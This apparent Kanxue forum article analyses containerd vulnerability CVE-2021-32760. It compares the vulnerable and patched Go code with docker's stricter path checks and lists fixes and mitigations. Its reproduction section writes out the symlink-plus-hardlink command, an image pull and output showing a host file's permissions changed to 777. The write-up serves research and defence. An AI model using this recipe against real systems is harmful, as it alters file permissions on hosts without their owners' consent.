Analysis and Reproduction of CVE-2021-32760 Vulnerability

This article is for educational and research purposes only, and is prohibited from being used for any illegal purposes, otherwise the consequences are at your own risk.
1


Vulnerability Background


Recently, Containerd announced a security vulnerability where an attacker can modify the file permissions of existing files on the user’s host machine by constructing a malicious image during a pull and extraction operation by a normal user. This vulnerability cannot directly read, write, or execute user files.
The CVE-2021-32760 vulnerability has been assessed as5.0 MEDIUM (https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2021-32760&vector=AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L&version=3.1&source=GitHub,%20Inc.). For detailed information about this vulnerability, please refer tohttps://github.com/containerd/containerd/security/advisories/GHSA-c72p-9xmj-rx3w.
2


Vulnerability Analysis and Reproduction


Vulnerability Analysis

From the officialpatch (https://github.com/containerd/containerd/compare/v1.5.3…v1.5.4), it can be seen that only hard links and non-soft links were previously considered, and when using soft links + hard links during packaging, this check can be bypassed.
Code before the fix:
func handleLChmod(hdr *tar.Header, path string, hdrInfo os.FileInfo) error {
	if hdr.Typeflag == tar.TypeLink {
		if fi, err := os.Lstat(hdr.Linkname); err == nil && (fi.Mode()&os.ModeSymlink == 0) {
			if err := os.Chmod(path, hdrInfo.Mode()); err != nil && !os.IsNotExist(err) {
				return err
			}
		} else if hdr.Typeflag != tar.TypeSymlink {
			if err := os.Chmod(path, hdrInfo.Mode()); err != nil {
				return err
			}
		}
	}
	return nil
}
Code after the fix:
func lchmod(path string, mode os.FileMode) error {
	fi, err := os.Lstat(path)
	if err != nil {
		return err
	}

	if fi.Mode()&os.ModeSymlink == 0 {
		if err := os.Chmod(path, mode); err != nil {
			return err
		}
	}
	return nil
}
By constructing a soft link + hard link, a malicious image can link files inside the container image to files on the host machine, allowing modification of host file permissions during the pull and extraction of images by Containerd. The official test cases are as follows:
{
		name: "HardlinkSymlinkChmod",
		w: func() tartest.WriterToTar {
			p := filepath.Join(td, "perm400")
			if err := ioutil.WriteFile(p, []byte("..."), 0400); err != nil {
				t.Fatal(err)
			}
			ep := filepath.Join(td, "also-exists-outside-root")
			if err := ioutil.WriteFile(ep, []byte("..."), 0640); err != nil {
				t.Fatal(err)
			}

			return tartest.TarAll(
				tc.Symlink(p, ep),
				tc.Link(ep, "sketchylink"),
			)
		}(),
		validator: func(string) error {
			p := filepath.Join(td, "perm400")
			fi, err := os.Lstat(p)
			if err != nil {
				return err
			}
			if perm := fi.Mode() & os.ModePerm; perm != 0400 {
				return errors.Errorf("%s perm changed from 0400 to %04o", p, perm)
			}
			return nil
		},
}

Vulnerability Reproduction

Create an admin directory in the image, which also needs to exist on the host machine, and construct a malicious link:
/home/admin # ln -s /home/admin/poc /home/admin/ep;ln ep sketchylink;ls -al
total 0
drwxr-xr-x    2 root     root            33 Jul 23 10:46 .
drwxr-xr-x    3 nobody   nobody          18 Jul 23 10:45 ..
lrwxrwxrwx    2 root     root            15 Jul 23 10:45 ep -> /home/admin/poc
lrwxrwxrwx    2 root     root            15 Jul 23 10:45 sketchylink -> /home/admin/poc
Create poc and ep files on the host machine, with poc assigned 400 permissions:
$ls -al
total 40
drwxr-xr-x   3 admin admin    4096 Jul 23 19:19 .
drwxr-xr-x. 21 root  root     4096 Jul 22 13:47 ..
-rw-r--r--   1 root  root        0 Jul 23 19:19 ep
-r--------   1 root  root        0 Jul 23 19:19 poc
After packaging the image, pull it using containerd:
$sudo ctr image pull docker.io/test_images/vul:busybox-cve-2021-32760-0.5
docker.io/test_images/vul:busybox-cve-2021-32760-0.5:           resolved       |++++++++++++++++++++++++++++++++++++++| 
manifest-sha256:48fa9fbf6b8139288d2129e66013812175b762a872b62e70d7f37f9a3eb17aaa: done           |++++++++++++++++++++++++++++++++++++++| 
config-sha256:41346c641dd83548d3517a1caac991a0a8acdc427936e7e459ac8b78a5d8ae51:   done           |++++++++++++++++++++++++++++++++++++++| 
layer-sha256:b71f96345d44b237decc0c2d6c2f9ad0d17fde83dad7579608f1f0764d9686f2:    exists         |++++++++++++++++++++++++++++++++++++++| 
layer-sha256:4ee243a3930c69f74db7f5a33d5c46dfc0e2ef14452503ead59b386aad009078:    done           |++++++++++++++++++++++++++++++++++++++| 
elapsed: 1.1 s                                                                    total:  734.0  (666.0 B/s)                                       
unpacking linux/amd64 sha256:48fa9fbf6b8139288d2129e66013812175b762a872b62e70d7f37f9a3eb17aaa...
done
Check the permissions of the poc file:
$ls -al ep poc
-rw-r--r-- 1 root root 0 Jul 23 19:23 ep
-rwxrwxrwx 1 root root 0 Jul 23 19:21 poc
It can be seen that the file permissions have changed to 777, indicating successful exploitation.
After analyzing this vulnerability, one cannot help but wonder, both docker and containerd have the behavior of pulling and extracting images, why does this vulnerability only affect containerd and not docker?
Let us look at the logic of image extraction in docker and containerd:
containerd:
// Iterate through the files in the archive.
for {
	select {
	case <-ctx.Done():
		return 0, ctx.Err()
	default:
	}

	hdr, err := tr.Next()
	if err == io.EOF {
		// end of tar archive
		break
	}
	if err != nil {
		return 0, err
	}

	size += hdr.Size

	// Normalize name, for safety and for a simple is-root check
	hdr.Name = filepath.Clean(hdr.Name)

	accept, err := options.Filter(hdr)
	if err != nil {
		return 0, err
	}
	if !accept {
		continue
	}

	if skipFile(hdr) {
		log.G(ctx).Warnf("file %q ignored: archive may not be supported on system", hdr.Name)
		continue
	}

	// Split name and resolve symlinks for root directory.
	ppath, base := filepath.Split(hdr.Name)
	ppath, err = fs.RootPath(root, ppath)
	if err != nil {
		return 0, errors.Wrap(err, "failed to get root path")
	}

	// Join to root before joining to parent path to ensure relative links are
	// already resolved based on the root before adding to parent.
	path := filepath.Join(ppath, filepath.Join("/", base))
	if path == root {
		log.G(ctx).Debugf("file %q ignored: resolved to root", hdr.Name)
		continue
	}

	// If file is not directly under root, ensure parent directory
	// exists or is created.
	if ppath != root {
		parentPath := ppath
		if base == "" {
			parentPath = filepath.Dir(path)
		}
		if err := mkparent(ctx, parentPath, root, options.Parents); err != nil {
			return 0, err
		}
	}
}
First, containerd processes the tar package by iterating through the files in the tar package. Initially, it was found that there is actually a directory traversal issue here. However, upon further study, it was found that when using relative paths,fs.RootPath adds the root directory to all paths, limiting the range of directories and preventing traversal. Afterwards, thecreateTarFile function processes different file types in the compressed package, and when the file type is a soft link:
case tar.TypeSymlink:
	if err := os.Symlink(hdr.Linkname, path); err != nil {
		return err
	}
It directly links the soft link and path without restricting the path after the link, so there is indeed a directory traversal vulnerability here. In the faultyhandleLChmod code, the file type of the tar file is judged, but there is no restriction on the type of linked file. Therefore, when using soft links + hard links, it will directly link to files on the host machine, thereby modifying the file permissions of the host machine’s files.
It is worth noting that the directory traversal issue with soft links in containerd has still not been fixed. The code after the fix only judges the file type, so it can still link to files on the host machine using soft links + hard links, but it cannot do much.
Now let’s take a look at the implementation code for docker:
for {
	hdr, err := tr.Next()
	if err == io.EOF {
		// end of tar archive
		break
	}
	if err != nil {
		return err
	}

	// ignore XGlobalHeader early to avoid creating parent directories for them
	if hdr.Typeflag == tar.TypeXGlobalHeader {
		logrus.Debugf("PAX Global Extended Headers found for %s and ignored", hdr.Name)
		continue
	}

	// Normalize name, for safety and for a simple is-root check
	// This keeps "../" as-is, but normalizes "/../" to "/". Or Windows:
	// This keeps "..\" as-is, but normalizes "\..\" to "\".
	hdr.Name = filepath.Clean(hdr.Name)

	for _, exclude := range options.ExcludePatterns {
		if strings.HasPrefix(hdr.Name, exclude) {
			continue loop
		}
	}

	// After calling filepath.Clean(hdr.Name) above, hdr.Name will now be in
	// the filepath format for the OS on which the daemon is running. Hence
	// the check for a slash-suffix MUST be done in an OS-agnostic way.
	if !strings.HasSuffix(hdr.Name, string(os.PathSeparator)) {
		// Not the root directory, ensure that the parent directory exists
		parent := filepath.Dir(hdr.Name)
		parentPath := filepath.Join(dest, parent)
		if _, err := os.Lstat(parentPath); err != nil && os.IsNotExist(err) {
			err = idtools.MkdirAllAndChownNew(parentPath, 0755, rootIDs)
			if err != nil {
				return err
			}
		}
	}

	path := filepath.Join(dest, hdr.Name)
	rel, err := filepath.Rel(dest, path)
	if err != nil {
		return err
	}
	if strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
		return breakoutError(fmt.Errorf("%q is outside of %q", hdr.Name, dest))
	}
}
It can be seen that docker has stricter path restrictions than containerd. In addition to adding thedest restriction to the front of the tar package file path, it also prohibits the use of.. relative paths, so there is no directory traversal issue in docker.
Now let’s take a look at how linked files are handled:
case tar.TypeLink:
	targetPath := filepath.Join(extractDir, hdr.Linkname)
	// check for hardlink breakout
	if !strings.HasPrefix(targetPath, extractDir) {
		return breakoutError(fmt.Errorf("invalid hardlink %q -> %q", targetPath, hdr.Linkname))
	}
	if err := os.Link(targetPath, path); err != nil {
		return err
	}

case tar.TypeSymlink:
	// 	path 				-> hdr.Linkname = targetPath
		// e.g. /extractDir/path/to/symlink -> ../2/file = /extractDir/path/2/file
	targetPath := filepath.Join(filepath.Dir(path), hdr.Linkname)

	// the reason we don't need to check symlinks in the path (with FollowSymlinkInScope) is because
	// that symlink would first have to be created, which would be caught earlier, at this very check:
	if !strings.HasPrefix(targetPath, extractDir) {
		return breakoutError(fmt.Errorf("invalid symlink %q -> %q", path, hdr.Linkname))
	}
	if err := os.Symlink(hdr.Linkname, path); err != nil {
		return err
	}
It can be seen that docker has similar handling logic, but the handling logic of docker is stricter, and the linked files cannot link to arbitrary files on the host machine, so this vulnerability does not affect docker.
Although the logic for handling file permissions is exactly the same in both docker and containerd.
func handleLChmod(hdr *tar.Header, path string, hdrInfo os.FileInfo) error {
	if hdr.Typeflag == tar.TypeLink {
		if fi, err := os.Lstat(hdr.Linkname); err == nil && (fi.Mode()&os.ModeSymlink == 0) {
			if err := os.Chmod(path, hdrInfo.Mode()); err != nil {
				return err
			}
		} else if hdr.Typeflag != tar.TypeSymlink {
			if err := os.Chmod(path, hdrInfo.Mode()); err != nil {
				return err
			}
		}
	}
	return nil
}
3


Impact Scope


Community Edition Affected Scope:
<=1.4.7,1.5.0,1.5.1,1.5.2,1.5.3
Fixed Versions
1.5.4, 1.4.8
4


Vulnerability Mitigation and Remediation


Mitigation Measures:
1. Ensure that images are downloaded from trusted sources;
2. UseSELinux (https://wiki.centos.org/HowTos/SELinux) and AppArmor (https://apparmor.net/) to restrict Containerd’s access to files.
Remediation Measures:
Upgrade Containerd to1.5.4, 1.4.8.

Analysis and Reproduction of CVE-2021-32760 Vulnerability

Kanxue ID: wx_游由

https://bbs.kanxue.com/user-home-765771.htm

*This article is an excellent contribution from the Kanxue forum, authored by wx_游由. Please indicate that it is from the Kanxue community when reprinting.
Analysis and Reproduction of CVE-2021-32760 Vulnerability

# Previous Recommendations

1. Modifying standalone games under Android without root environment – IL2CPP

2. Introduction to autojs and countermeasures

3. Documenting the white-box AES restoration process of a car app

4. Rapid problem-solving using Unidbg in CTF-Android challenges

5. Android reverse engineering MagicImageViewer tips sharing

6. National competition babytree problem analysis

Analysis and Reproduction of CVE-2021-32760 Vulnerability
Analysis and Reproduction of CVE-2021-32760 Vulnerability

Share

Analysis and Reproduction of CVE-2021-32760 Vulnerability

Like

Analysis and Reproduction of CVE-2021-32760 Vulnerability

Currently Watching

Analysis and Reproduction of CVE-2021-32760 Vulnerability

Click to read the original text for more

Leave a Comment

×